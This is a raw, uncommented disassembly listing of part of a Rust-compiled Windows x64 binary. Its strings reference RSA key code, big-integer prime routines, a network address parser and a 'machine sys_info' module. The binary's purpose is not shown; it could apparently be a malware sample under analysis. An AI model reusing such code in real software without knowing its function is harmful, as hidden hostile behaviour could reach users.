lea rdx, [0x14005b319]
push 0x3a
jmp 0x140011fed
lea rdx, [0x14005b7d3]
push 0x2c
pop r8
mov cl, 0x26
jmp 0x14001216b
lea rdx, [0x14005b3e7]
push 0x2f
jmp 0x140012167
lea rdx, [0x14005b3b1]
push 0x36
jmp 0x140012167
lea rdx, [0x14005b37f]
push 0x32
jmp 0x140012167
lea rdx, [0x14005b94d]
push 0x29
jmp 0x140012167
lea rdx, [0x14005b7b2]
push 0x21
jmp 0x140012167
lea rdx, [0x14005b52d]
jmp 0x140012165
add cl, ch
sbb eax, 0x48000001
lea rdx, [0x14005b460]
lea rdx, [0x14005b460]
jmp 0x140012165
add byte [rax], al
lea rdx, [0x14005b43b]
push 0x25
jmp 0x140012167
add byte [rax], al
add byte [rax], al
lea rdx, [0x14005b9e1]
push 0x1c
pop r8
mov cl, 0x16
jmp 0x14001216b
lea rdx, [0x14005b5ad]
jmp 0x14001211e
lea rdx, [0x14005b66c]
push 0x20
jmp 0x1400120a9
lea rdx, [0x14005ba55]
jmp 0x1400120de
lea rdx, [0x14005b6ae]
jmp 0x140012146
lea rdx, [0x14005b5f3]
push 0x23
pop r8
mov cl, 0x14
jmp 0x14001216b
lea rdx, [0x14005b720]
jmp 0x1400120de
lea rdx, [0x14005b9c4]
push 0x1d
jmp 0x140012167
lea rdx, [0x14005b68c]
push 0x22
jmp 0x140012167
lea rdx, [0x14005b6f8]
push 0x28
jmp 0x140012167
lea rdx, [0x14005b583]
push 0x2a
jmp 0x140012167
lea rdx, [0x14005b558]
jmp 0x140012165
lea rdx, [0x14005b2f6]
push 0x23
pop r8
mov cl, 7
jmp 0x14001216b
lea rdx, [0x14005b416]
push 0x25
pop r8
mov cl, 6
jmp 0x14001216b
lea rdx, [0x14005b78f]
push 0x23
jmp 0x140012167
lea rdx, [0x14005b855]
push 0x2d
jmp 0x140012167
lea rdx, [0x14005b82a]
jmp 0x140012165
lea rdx, [0x14005b353]
jmp 0x140012151
lea rdx, [0x14005b976]
push 0x26
jmp 0x140012167
lea rdx, [0x14005b2ca]
push 0x2c
jmp 0x140012167
lea rdx, [0x14005b273]
jmp 0x140012165
lea rdx, [0x14005b248]
push 0x2b
pop r8
mov cl, 0x27
call fcn.1400185a5
mov rsi, rax
mov rcx, qword [rbp + 0x84f0]
mov rdx, rdi
call fcn.140018e0d
mov rcx, qword [rbp + 0x8660]
mov edx, dword [rbp + 0x8648]
call fcn.1400195c6
lea rcx, [rbp + 0x8550]
call fcn.14001963b
push 8
pop rcx
mov rdx, rcx
call fcn.1400184ca
mov r14, rax
mov qword [rax], rsi
jmp 0x14000d5ea
mov byte [rbp + 0x863f], 1
push 4
pop rcx
mov edx, 0x80
call fcn.140056ac0
jmp case.0x14000675c.2
cmp dword [rbp + 0x8680], ecx
jne 0x1400125f7
cmp dword [rbp + 0x8680], 0x10000000
jae 0x140012864
mov rax, qword [rbp + 0x8240]
lea rdx, [rbp + 0x8100]
mov qword [rdx], rax
mov qword [rdx + 8], r14
mov qword [rdx + 0x10], rdi
lea rsi, [rbp + 0x83e0]
mov rcx, rsi
call fcn.1400292cf
mov eax, dword [rsi]
mov qword [rbp + 0x8658], rax
cmp eax, 2
jne 0x1400128e6
mov r12, qword [rbp + 0x83e8]
mov rax, qword [rbp + 0x83f0]
mov qword [rbp + 0x86a0], rax
mov r15, qword [rbp + 0x83f8]
mov rbx, qword [rbp + 0x8400]
push 6
pop rax
mov qword [rbp + 0x8658], rax
mov qword [rbp + 0x8680], rax
mov rdi, qword [rbp + 0x8648]
mov r14, qword [rbp + 0x8660]
jmp 0x14000dcb9
mov rax, qword [rbp + 0x8478]
mov qword [rbp + 0x4058], rax
mov rax, qword [rbp + 0x8698]
mov qword [rbp + 0x4060], rax
mov qword [rbp + 0x4068], rdi
jmp 0x14001267a
lea rax, str.negative_exponentiation_is_not_supported_
lea rcx, [rbp + 0x6070]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, [0x14006d7f0]
mov qword [rcx + 0x10], rax
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x18], xmm0
lea rdx, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_bigint.rs
call fcn.140056ba0
lea rax, str.divide_by_zero_
lea rcx, [rbp + 0x6070]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, [0x14006d7f0]
mov qword [rcx + 0x10], rax
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x18], xmm0
lea rdx, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_bigint.rs
call fcn.140056ba0
cmp dword [rbp + 0x8680], 0xfffffff
ja 0x14001286f
cmp ecx, 0x10000000
jae 0x14001291b
mov r12, qword [rbp + 0x8680]
shl r12, 0x20
or r12, 3
jmp 0x140012944
lea rcx, str.assertion_failed:__bound.is_zero__
lea r8, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_bigrand.rs
push 0x22
jmp 0x14000be9c
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_srckey.rs
call fcn.140057000
mov dil, byte [rbp + 0x8490]
jmp 0x14001266c
lea rcx, str._rustc_9d79cd5f79e75bd0d2083260271307ce9acd9081librarycore_srcops_function.rs_t
call fcn.140057000
mov dil, 4
mov byte [rbp + 0x4058], 0
mov byte [rbp + 0x4059], dil
lea r9, [rbp + 0x4058]
mov qword [r9 - 8], 2
lea rsi, [rbp + 0x8550]
mov rcx, rsi
mov rdx, qword [rbp + 0x8650]
mov r8, qword [rbp + 0x8688]
call fcn.140032d2e
mov rdi, qword [rsi]
mov rbx, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
mov qword [rbp + 0x8670], rax
xor eax, eax
mov qword [rbp + 0x8678], rax
push 0xe
pop r14
mov qword [rbp + 0x8280], rdi
mov qword [rbp + 0x8288], rbx
mov qword [rbp + 0x8330], r12
mov rax, qword [rbp + 0x8688]
mov qword [rbp + 0x8338], rax
mov rax, r12
shr rax, 0x20
mov qword [rbp + 0x8690], rax
cmp r14b, 9
jne 0x14001275c
mov rax, r12
shr rax, 8
mov qword [rbp + 0x86a0], rax
shr rbx, 0x28
mov r13, r14
shr r13, 8
shr r14, 0x28
mov qword [rbp + 0x8640], rdi
mov rdi, qword [rbp + 0x8285]
mov rax, qword [rbp + 0x8670]
mov rcx, rax
mov qword [rbp + 0x8650], rax
shr rax, 0x28
push 5
pop rcx
mov qword [rbp + 0x8678], rcx
mov ecx, dword [rbp + 0x8335]
mov qword [rbp + 0x8698], rcx
mov qword [rbp + 0x8670], rax
jmp 0x14001279b
mov eax, r12d
mov qword [rbp + 0x8698], rax
mov rax, r14
shr rax, 0x18
mov qword [rbp + 0x8640], rax
mov rax, rbx
shr rax, 0x18
mov qword [rbp + 0x8650], rax
mov rax, qword [rbp + 0x8670]
mov r12, rax
shr r12, 0x18
shr rax, 0x20
mov qword [rbp + 0x86a0], rax
mov rsi, rdi
shr rsi, 0x18
lea r8, [rbp + 0x4050]
mov rax, qword [rbp + 0x8678]
mov dword [r8], eax
mov dword [r8 + 4], r13d
mov rcx, qword [rbp + 0x8640]
shl rcx, 0x18
mov eax, 0xffffff
and r14d, eax
or r14, rcx
mov qword [r8 + 8], r14
shl rsi, 0x18
and edi, eax
or rdi, rsi
mov qword [r8 + 0x10], rdi
mov rcx, qword [rbp + 0x8650]
shl rcx, 0x18
and ebx, eax
or rbx, rcx
mov qword [r8 + 0x18], rbx
mov rcx, qword [rbp + 0x8670]
and ecx, eax
movzx eax, r12b
shl eax, 0x18
or ecx, eax
mov dword [r8 + 0x20], ecx
mov rax, qword [rbp + 0x86a0]
mov dword [r8 + 0x24], eax
mov rax, qword [rbp + 0x8698]
mov dword [r8 + 0x28], eax
mov rax, qword [rbp + 0x8690]
mov dword [r8 + 0x2c], eax
mov rax, qword [rbp + 0x8688]
mov qword [r8 + 0x30], rax
lea rax, [0x14005a930]
mov qword [rsp + 0x20], rax
lea rcx, [0x14006d4f5]
lea r9, [0x140059e48]
jmp 0x14000d8c5
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_srcprime.rs
call fcn.140057000
call fcn.140057335
xor eax, eax
push 0xc
pop r12
jmp 0x14001294d
mov r12, qword [rbp + 0x8680]
shl r12, 0x20
or r12, 0xc
mov rax, qword [rbp + 0x8300]
mov qword [rbp + 0x8450], rax
movdqu xmm0, xmmword [rbp + 0x82f0]
movdqa xmmword [rbp + 0x8440], xmm0
xor eax, eax
jmp 0x140012946
mov qword [rbp + 0x8688], rcx
jmp 0x1400133b4
mov eax, dword [rbp + 0x83e4]
mov qword [rbp + 0x8680], rax
mov r12, qword [rbp + 0x83e8]
mov rax, qword [rbp + 0x83f0]
mov qword [rbp + 0x86a0], rax
mov r15, qword [rbp + 0x83f8]
mov rdi, qword [rbp + 0x8648]
jmp 0x14000db8d
mov r12, rcx
shl r12, 0x20
or r12, 0xc
mov rax, qword [rbp + 0x83a0]
mov qword [rbp + 0x8450], rax
movdqu xmm0, xmmword [rbp + 0x8390]
movdqa xmmword [rbp + 0x8440], xmm0
xor eax, eax
mov qword [rbp + 0x8680], rdx
xor edx, edx
mov qword [rbp + 0x8658], rdx
jmp 0x14000db4d
mov r14, rcx
jmp 0x140013236
lea rax, str.librarycore_src_netparser.rs
push 7
pop rdx
mov rcx, r8
mov r8, rax
call fcn.140056c60
lea r8, str.librarycore_src_netparser.rs
push 8
pop rdx
mov rcx, rbx
call fcn.140056ea0
lea r8, str.librarycore_src_netparser.rs
push 8
pop rcx
push 7
pop rdx
call fcn.140056c60
lea rax, [rbp + 0x8180]
mov qword [rbp + 0x6070], rax
lea rax, str.invalid_arguments__y_must_be_an_odd_integer_but_got
lea rcx, [rbp - 0x40]
mov qword [rcx], rax
push 1
pop rax
mov qword [rcx + 8], rax
and qword [rcx + 0x20], 0
lea rdx, [0x14002a020]
mov qword [rbp + 0x6078], rdx
mov qword [rcx + 0x10], r13
mov qword [rcx + 0x18], rax
lea rdx, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_algorithmsjacobi.rs
call fcn.140056ba0
lea rax, [rbp + 0x81b8]
mov qword [rbp + 0x6070], rax
lea rax, str.internal_error:_cannot_find__D_n____1_for
lea rcx, [rbp - 0x40]
mov qword [rcx], rax
push 1
pop rax
mov qword [rcx + 8], rax
and qword [rcx + 0x20], 0
lea rdx, [0x14002a095]
mov qword [rbp + 0x6078], rdx
mov qword [rcx + 0x10], r13
mov qword [rcx + 0x18], rax
lea rdx, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_srcprime.rs
call fcn.140056ba0
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_srcprime.rs
call fcn.140057000
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_srcprime.rs
call fcn.140057000
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_srcprime.rs
call fcn.140057000
mov rdx, qword [rbp + 0x4060]
call fcn.140056ac0
mov r14, r13
mov qword [rbp + 0x8658], rax
mov rdx, qword [rbp + 0x4054]
mov r12d, dword [rbp + 0x405c]
mov rax, qword [rbp + 0x4060]
mov rdi, qword [rbp + 0x4068]
mov rcx, qword [rbp + 0x4070]
mov qword [rbp + 0x8330], rcx
mov rcx, qword [rbp + 0x4075]
mov qword [rbp + 0x8335], rcx
mov ecx, dword [rbp + 0x407d]
mov dword [rbp + 0x8688], ecx
mov ecx, dword [rbp + 0x4081]
mov dword [rbp + 0x8368], ecx
mov ecx, dword [rbp + 0x4084]
jmp 0x140012f4f
push 9
pop r14
jmp 0x140013236
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_src_algorithms_rsa.rs_t
call fcn.140057000
mov rdx, qword [rbp + 0x6080]
call fcn.140056ac0
lea rax, [rbp + 0x85a8]
mov rcx, qword [rbp + 0x8670]
test rcx, rcx
je 0x140013f78
test byte [rax], 1
je 0x140013f78
mov rax, qword [rbp + 0x85f8]
cmp rax, 4
jbe 0x140013e87
mov rax, qword [rbp + 0x85d8]
mov rcx, qword [rbp + 0x85e0]
jmp 0x140013e8e
mov rax, qword [rbp + 0x4080]
mov qword [rbp + 0x85d0], rax
movups xmm0, xmmword [rbp + 0x4050]
movups xmm1, xmmword [rbp + 0x4060]
movups xmm2, xmmword [rbp + 0x4070]
movaps xmmword [rbp + 0x84f0], xmm0
movaps xmmword [rbp + 0x8500], xmm1
movaps xmmword [rbp + 0x8510], xmm2
mov qword [rbp + 0x8520], rax
lea rcx, [rbp + 0x80c0]
call fcn.14002a34c
lea r8, [rbp - 0x40]
mov qword [r8], r14
mov qword [r8 + 8], rbx
movaps xmm0, xmmword [rbp + 0x84f0]
movaps xmm1, xmmword [rbp + 0x8500]
movaps xmm2, xmmword [rbp + 0x8510]
movups xmmword [r8 + 0x10], xmm0
movups xmmword [r8 + 0x20], xmm1
movups xmmword [r8 + 0x30], xmm2
mov rax, qword [rbp + 0x8520]
mov qword [r8 + 0x40], rax
lea rax, [0x14005a9e0]
mov qword [rsp + 0x20], rax
lea rcx, [0x14005a9a7]
lea r9, [0x140059dc8]
push 0x1e
jmp 0x14000d8c7
lea r8, [rbp - 0x40]
mov qword [r8], rsi
lea rax, [0x14005a840]
jmp 0x14000d99e
lea r8, [rbp - 0x40]
mov qword [r8], rdx
lea rax, [0x14005a858]
jmp 0x14000d99e
mov eax, dword [rbp + 0x4054]
mov qword [rbp + 0x8680], rax
mov al, byte [rbp + 0x4058]
mov rdx, qword [rbp + 0x4068]
mov qword [rbp + 0x839f], rdx
movups xmm0, xmmword [rbp + 0x4059]
movaps xmmword [rbp + 0x8390], xmm0
mov rdx, qword [rbp + 0x4070]
mov qword [rbp + 0x820b], rdx
mov rdx, qword [rbp + 0x4075]
mov qword [rbp + 0x8210], rdx
mov edx, dword [rbp + 0x407d]
mov dword [rbp + 0x8688], edx
mov edx, dword [rbp + 0x4081]
mov dword [rbp + 0x81d0], edx
mov edx, dword [rbp + 0x4084]
mov dword [rbp + 0x81d3], edx
movdqa xmm0, xmmword [rbp + 0x8390]
movdqa xmmword [rbp + 0x8370], xmm0
mov edx, dword [rbp + 0x83a0]
mov dword [rbp + 0x8380], edx
mov dl, byte [rbp + 0x83a6]
mov byte [rbp + 0x820a], dl
movzx edx, word [rbp + 0x83a4]
mov word [rbp + 0x8208], dx
cmp al, 9
jne 0x1400134d7
mov eax, dword [rbp + 0x8370]
mov qword [rbp + 0x8680], rax
mov rax, qword [rbp + 0x8374]
mov rdx, rax
shr rdx, 8
mov rcx, qword [rbp + 0x837c]
mov qword [rbp + 0x86a0], rcx
mov r8, qword [rbp + 0x8208]
mov rbx, qword [rbp + 0x8210]
mov r9, r8
shr r9, 0x28
mov esi, dword [rbp + 0x8688]
jmp 0x140013572
mov r14, r13
mov qword [rbp + 0x8658], rax
mov eax, dword [rbp + 0x4054]
mov qword [rbp + 0x8680], rax
mov al, byte [rbp + 0x4058]
mov rcx, qword [rbp + 0x4068]
mov qword [rbp + 0x855f], rcx
movups xmm0, xmmword [rbp + 0x4059]
movaps xmmword [rbp + 0x8550], xmm0
mov rcx, qword [rbp + 0x4070]
mov qword [rbp + 0x81f3], rcx
mov rcx, qword [rbp + 0x4075]
mov qword [rbp + 0x81f8], rcx
mov ecx, dword [rbp + 0x407d]
mov dword [rbp + 0x8688], ecx
mov ecx, dword [rbp + 0x4081]
mov dword [rbp + 0x81c8], ecx
mov ecx, dword [rbp + 0x4084]
mov dword [rbp + 0x81cb], ecx
movdqa xmm0, xmmword [rbp + 0x8550]
movdqa xmmword [rbp + 0x8190], xmm0
mov ecx, dword [rbp + 0x8560]
mov dword [rbp + 0x81a0], ecx
mov cl, byte [rbp + 0x8566]
mov byte [rbp + 0x81f2], cl
movzx ecx, word [rbp + 0x8564]
mov word [rbp + 0x81f0], cx
cmp al, 9
jne 0x1400135cd
mov eax, dword [rbp + 0x8190]
mov qword [rbp + 0x8680], rax
mov rax, qword [rbp + 0x8194]
mov rcx, rax
shr rcx, 8
mov rdx, qword [rbp + 0x819c]
mov qword [rbp + 0x86a0], rdx
mov rdx, qword [rbp + 0x81f0]
mov rbx, qword [rbp + 0x81f8]
mov r8, rdx
shr r8, 0x28
push 5
pop r9
mov qword [rbp + 0x8658], r9
mov esi, dword [rbp + 0x8688]
jmp 0x14001365e
mov r14, r13
mov qword [rbp + 0x8680], rbx
mov qword [rbp + 0x8658], rax
mov r12, qword [rbp + 0x85a8]
mov rax, qword [rbp + 0x85b0]
mov rdi, qword [rbp + 0x85b8]
mov rcx, qword [rbp + 0x85c0]
mov qword [rbp + 0x8440], rcx
mov rcx, qword [rbp + 0x85c5]
mov qword [rbp + 0x8445], rcx
mov ecx, dword [rbp + 0x85cd]
mov dword [rbp + 0x8688], ecx
mov ecx, dword [rbp + 0x85d1]
mov dword [rbp + 0x83d0], ecx
mov ecx, dword [rbp + 0x85d4]
mov dword [rbp + 0x83d3], ecx
and qword [rbp + 0x8640], rax
jmp 0x140014022
mov r14, r13
mov qword [rbp + 0x8658], rax
mov ecx, dword [rbp + 0x4058]
mov r12d, dword [rbp + 0x405c]
mov rax, qword [rbp + 0x4060]
mov rdi, qword [rbp + 0x4068]
mov r8, qword [rbp + 0x4070]
mov qword [rbp + 0x8330], r8
mov r8, qword [rbp + 0x4075]
mov qword [rbp + 0x8335], r8
mov r8d, dword [rbp + 0x407d]
mov dword [rbp + 0x8688], r8d
mov r8d, dword [rbp + 0x4081]
mov dword [rbp + 0x8368], r8d
mov r8d, dword [rbp + 0x4084]
mov dword [rbp + 0x836b], r8d
jmp 0x140012f5c
mov r14, r13
mov qword [rbp + 0x8658], rax
mov rdx, qword [rbp + 0x85a4]
mov r12d, dword [rbp + 0x85ac]
mov rax, qword [rbp + 0x85b0]
mov rdi, qword [rbp + 0x85b8]
mov rcx, qword [rbp + 0x85c0]
mov qword [rbp + 0x8330], rcx
mov rcx, qword [rbp + 0x85c5]
mov qword [rbp + 0x8335], rcx
mov ecx, dword [rbp + 0x85cd]
mov dword [rbp + 0x8688], ecx
mov ecx, dword [rbp + 0x85d1]
mov dword [rbp + 0x8368], ecx
mov ecx, dword [rbp + 0x85d4]
mov dword [rbp + 0x836b], ecx
mov rcx, rdx
shr rcx, 0x20
shl r12, 0x20
or r12, rcx
mov rcx, qword [rbp + 0x8330]
mov r8, qword [rbp + 0x8335]
mov qword [rbp + 0x8445], r8
mov qword [rbp + 0x8440], rcx
mov ecx, dword [rbp + 0x8368]
mov r8d, dword [rbp + 0x836b]
mov dword [rbp + 0x83d0], ecx
mov dword [rbp + 0x83d3], r8d
and qword [rbp + 0x8640], rax
mov qword [rbp + 0x8680], rdx
jmp 0x140014022
mov r14, r13
push 1
jmp 0x140012fb8
mov r14, r13
push 0xd
pop r12
push 1
pop rcx
mov qword [rbp + 0x8658], rcx
mov rcx, qword [rbp + 0x8280]
mov rdx, qword [rbp + 0x8285]
mov qword [rbp + 0x8445], rdx
mov qword [rbp + 0x8440], rcx
mov ecx, dword [rbp + 0x81b8]
mov edx, dword [rbp + 0x81bb]
mov dword [rbp + 0x83d0], ecx
mov dword [rbp + 0x83d3], edx
xor ecx, ecx
mov qword [rbp + 0x8640], rcx
mov ecx, eax
mov qword [rbp + 0x8680], rcx
jmp 0x140014022
mov r14, r13
mov r13, rbx
cmp ebx, 0xfffffff
ja 0x1400136a6
cmp eax, 0x10000000
jae 0x140013fca
mov r12, r13
shl r12, 0x20
or r12, 3
jmp 0x140014009
mov r14, r13
mov qword [rbp + 0x8680], rbx
xor eax, eax
mov qword [rbp + 0x8640], rax
jmp 0x140014019
mov qword [rbp + 0x86a0], r14
mov eax, r14d
mov qword [rbp + 0x8678], rax
mov eax, dword [rbp + 0x85a0]
mov dword [rbp + 0x8688], eax
mov eax, dword [rbp + 0x85a4]
mov dword [rbp + 0x83d8], eax
mov eax, dword [rbp + 0x85a7]
mov dword [rbp + 0x83db], eax
mov rcx, r12
mov rdx, rdi
call fcn.140037dd5
mov rcx, qword [rbp + 0x8138]
mov rdx, r13
call fcn.140037dd5
mov rcx, qword [rbp + 0x80c0]
mov rdx, r15
call fcn.140037dd5
xor eax, eax
mov qword [rbp + 0x8658], rax
mov r12d, 0x206
mov qword [rbp + 0x8680], rax
xor esi, esi
xor r13d, r13d
jmp 0x140014179
movzx ecx, byte [rbp + 0x4057]
shl ecx, 0x10
movzx edx, word [rbp + 0x4055]
or edx, ecx
mov r14d, dword [rbp + 0x4051]
mov rcx, qword [rbp + 0x4058]
mov qword [rbp + 0x8678], rcx
mov rbx, qword [rbp + 0x4060]
shl rdx, 0x28
shl r14, 8
or r14, rdx
or r14, rax
jmp 0x14001311b
mov qword [rbp + 0x8678], rdi
or r14, rsi
mov qword [rbp + 0x8180], rbx
mov esi, dword [rbp + 0x8550]
mov dword [rbp + 0x8188], esi
mov al, byte [rbp + 0x8554]
mov byte [rbp + 0x8650], al
mov byte [rbp + 0x818c], al
mov eax, dword [rbp + 0x83e0]
mov ecx, dword [rbp + 0x83e3]
mov dword [rbp + 0x81d8], eax
mov dword [rbp + 0x81db], ecx
mov eax, dword [rbp + 0x81d8]
mov ecx, dword [rbp + 0x81db]
mov dword [rbp + 0x8278], eax
mov dword [rbp + 0x827b], ecx
mov rcx, qword [rbp + 0x8648]
mov rdx, qword [rbp + 0x86a0]
call fcn.140037dd5
xor eax, eax
mov qword [rbp + 0x8658], rax
mov qword [rbp + 0x86a0], r14
jmp 0x1400141a6
lea rcx, str.srcmachine_sys_info.rs
call fcn.140057000
lea rcx, str.srcmachine_sys_info.rs
call fcn.140057000
lea rcx, str.srcmachine_sys_info.rs
call fcn.140057000
lea rcx, str.srcmachine_sys_info.rs
call fcn.140057000
lea rcx, str.srcmachine_sys_info.rs
call fcn.140057000
lea rcx, str.srcmachine_sys_info.rs
call fcn.140057000
lea rcx, str.srcmachine_sys_info.rs
call fcn.140057000
lea rcx, [0x14005a9f8]
call fcn.140057000
push 0xb
pop r14
jmp 0x140013236
mov r14, rbx
mov qword [rbp + 0x84f0], r14
mov qword [rbp + 0x84f8], rsi
push 9
pop rcx
lea r8, [rbp + 0x6070]
lea rsi, [rbp + 0x84f0]
mov rdi, r8
rep movsq qword [rdi], qword [rsi]
lea rax, [0x14005aa10]
jmp 0x1400133ff
mov qword [rbp + 0x84f0], 3
jmp 0x140013244
lea r8, [rbp + 0x6070]
mov qword [r8], rax
lea rax, [0x14005a988]
jmp 0x14000d99e
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
lea r8, [rbp + 0x6070]
mov qword [r8], rax
lea rax, str.library_std_src_syspalwindows_time.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x14006d4f5]
lea r9, fcn.140040260
push 0x2b
pop rdx
call fcn.140056f70
ud2
push 0xb
jmp 0x140013397
mov qword [rbp + 0x8688], r13
jmp 0x1400133b4
push 0xc
jmp 0x140013397
mov qword [rbp + 0x8688], r13
jmp 0x1400133b4
lea rcx, [rbp + 0x6070]
call fcn.14002a34c
lea rcx, [rbp + 0x8280]
call fcn.14002a34c
push 0x10
pop rbx
movdqa xmm0, xmmword [rbp + 0x8440]
movdqa xmmword [rbp + 0x8240], xmm0
mov rax, qword [rbp + 0x8450]
mov qword [rbp + 0x8250], rax
movdqa xmmword [rbp + 0x85a0], xmm0
mov qword [rbp + 0x85b0], rax
lea rcx, [rbp + 0x8330]
call fcn.14002a34c
mov qword [rbp + 0x8688], rbx
jmp 0x1400133b4
mov rdx, rbx
mov qword [rbp + 0x8688], rcx
mov r14, rax
mov rax, qword [rbp + 0x60b0]
mov qword [rbp + 0x85c0], rax
movdqu xmm0, xmmword [rbp + 0x6090]
movdqu xmm1, xmmword [rbp + 0x60a0]
movdqa xmmword [rbp + 0x85b0], xmm1
movdqa xmmword [rbp + 0x85a0], xmm0
jmp 0x1400133b4
mov rcx, qword [rbp + 0x86a0]
mov rdx, r12
call fcn.140037dd5
push 1
pop rax
mov qword [rbp + 0x8688], rax
jmp 0x1400133b4
lea r8, [rbp + 0x6070]
mov rax, qword [rbp + 0x8688]
mov qword [r8], rax
mov qword [r8 + 8], r14
mov qword [r8 + 0x10], r12
mov qword [r8 + 0x18], rdx
movdqa xmm0, xmmword [rbp + 0x85a0]
movdqa xmm1, xmmword [rbp + 0x85b0]
movdqu xmmword [r8 + 0x20], xmm0
movdqu xmmword [r8 + 0x30], xmm1
mov rax, qword [rbp + 0x85c0]
mov qword [r8 + 0x40], rax
lea rax, [0x14005aa28]
mov qword [rsp + 0x20], rax
lea rcx, [0x14006d4f5]
lea r9, [0x140059dc8]
jmp 0x14000d8c5
xor esi, esi
mov rcx, rsi
mov rdx, rbx
call fcn.140056ac0
lea r8, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_srckey.rs
push 2
pop rcx
call fcn.140056be0
xor eax, eax
mov qword [rbp + 0x8698], rax
jmp 0x1400123e3
movzx edx, byte [rbp + 0x8376]
shl edx, 0x10
movzx r8d, word [rbp + 0x8374]
or r8d, edx
shl r8, 0x20
mov edx, dword [rbp + 0x8370]
or rdx, r8
mov r8, qword [rbp + 0x8377]
mov qword [rbp + 0x86a0], r8
mov r9d, dword [rbp + 0x837f]
movzx r8d, byte [rbp + 0x8383]
shl r8, 0x20
or r8, r9
movzx r10d, byte [rbp + 0x820a]
shl r10d, 0x10
movzx r9d, word [rbp + 0x8208]
or r9d, r10d
mov rbx, qword [rbp + 0x820b]
mov esi, dword [rbp + 0x8213]
mov r10b, byte [rbp + 0x8217]
mov byte [rbp + 0x8650], r10b
mov r10d, dword [rbp + 0x81d0]
mov r11d, dword [rbp + 0x81d3]
mov dword [rbp + 0x4050], r10d
mov dword [rbp + 0x4053], r11d
mov qword [rbp + 0x8658], rcx
movabs r13, 0xffffffffff0000
and r13, rdx
shl rdx, 8
movzx r12d, al
or r12, rdx
shr r13, 0x10
shl r9, 0x28
movabs rax, 0xffffffffff
and rax, r8
or rax, r9
mov qword [rbp + 0x8678], rax
mov eax, dword [rbp + 0x4050]
mov ecx, dword [rbp + 0x4053]
mov dword [rbp + 0x83db], ecx
mov dword [rbp + 0x83d8], eax
mov r14, qword [rbp + 0x8140]
jmp 0x14001415b
movzx ecx, byte [rbp + 0x8196]
shl ecx, 0x10
movzx edx, word [rbp + 0x8194]
or edx, ecx
shl rdx, 0x20
mov ecx, dword [rbp + 0x8190]
or rcx, rdx
mov rdx, qword [rbp + 0x8197]
mov qword [rbp + 0x86a0], rdx
mov r8d, dword [rbp + 0x819f]
movzx edx, byte [rbp + 0x81a3]
shl rdx, 0x20
or rdx, r8
movzx r9d, byte [rbp + 0x81f2]
shl r9d, 0x10
movzx r8d, word [rbp + 0x81f0]
or r8d, r9d
mov rbx, qword [rbp + 0x81f3]
mov esi, dword [rbp + 0x81fb]
mov r9b, byte [rbp + 0x81ff]
mov byte [rbp + 0x8650], r9b
mov r9d, dword [rbp + 0x81c8]
mov r10d, dword [rbp + 0x81cb]
mov dword [rbp + 0x4050], r9d
mov dword [rbp + 0x4053], r10d
movabs r13, 0xffffffffff0000
and r13, rcx
shl rcx, 8
movzx r12d, al
or r12, rcx
shr r13, 0x10
shl r8, 0x28
movabs rax, 0xffffffffff
and rax, rdx
or rax, r8
mov qword [rbp + 0x8678], rax
mov eax, dword [rbp + 0x4050]
mov ecx, dword [rbp + 0x4053]
jmp 0x14001414f
mov r12, r13
shl r12, 0x20
or r12, 0xc
mov rax, qword [rbp + 0x82b0]
mov rcx, qword [rbp + 0x82b5]
mov qword [rbp + 0x8445], rcx
mov qword [rbp + 0x8440], rax
mov eax, dword [rbp + 0x8100]
mov ecx, dword [rbp + 0x8103]
mov dword [rbp + 0x83d0], eax
mov dword [rbp + 0x83d3], ecx
xor eax, eax
mov qword [rbp + 0x8640], rax
jmp 0x140014012
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_src_algorithms_rsa.rs_t
call fcn.140057000
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_src_algorithms_rsa.rs_t
call fcn.140057000
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_src_algorithms_rsa.rs_t
call fcn.140057000
mov r13d, dword [rbp + 0x4054]
mov r14, qword [rbp + 0x4058]
mov rdi, qword [rbp + 0x4060]
mov rbx, qword [rbp + 0x4068]
mov rax, qword [rbp + 0x4070]
mov qword [rbp + 0x8670], rax
mov r12, qword [rbp + 0x4078]
mov rax, qword [rbp + 0x4080]
mov qword [rbp + 0x8688], rax
jmp 0x1400126c5
lea rcx, [rbp + 0x85d8]
test rax, rax
je 0x140013f78
test byte [rcx], 1
je 0x140013f78
cmp rsi, 2
jb 0x140013f78
shr rsi, 0x21
jne 0x140013f78
mov rax, qword [rbp + 0x8670]
mov rcx, rax
shr rcx, 0x20
mov qword [rbp + 0x86a0], rcx
mov rcx, qword [rbp + 0x85a0]
mov qword [rbp + 0x84e8], rcx
mov ecx, dword [rbp + 0x85d0]
mov qword [rbp + 0x8698], rcx
mov r13, qword [rbp + 0x85a8]
mov r14, qword [rbp + 0x85b0]
mov rdi, qword [rbp + 0x85b8]
mov rbx, qword [rbp + 0x85c0]
mov rcx, qword [rbp + 0x85d8]
mov qword [rbp + 0x8688], rcx
movdqa xmm0, xmmword [rbp + 0x85e0]
movdqa xmmword [rbp + 0x83e0], xmm0
movdqa xmm1, xmmword [rbp + 0x85f0]
movdqa xmmword [rbp + 0x83f0], xmm1
mov rcx, r13
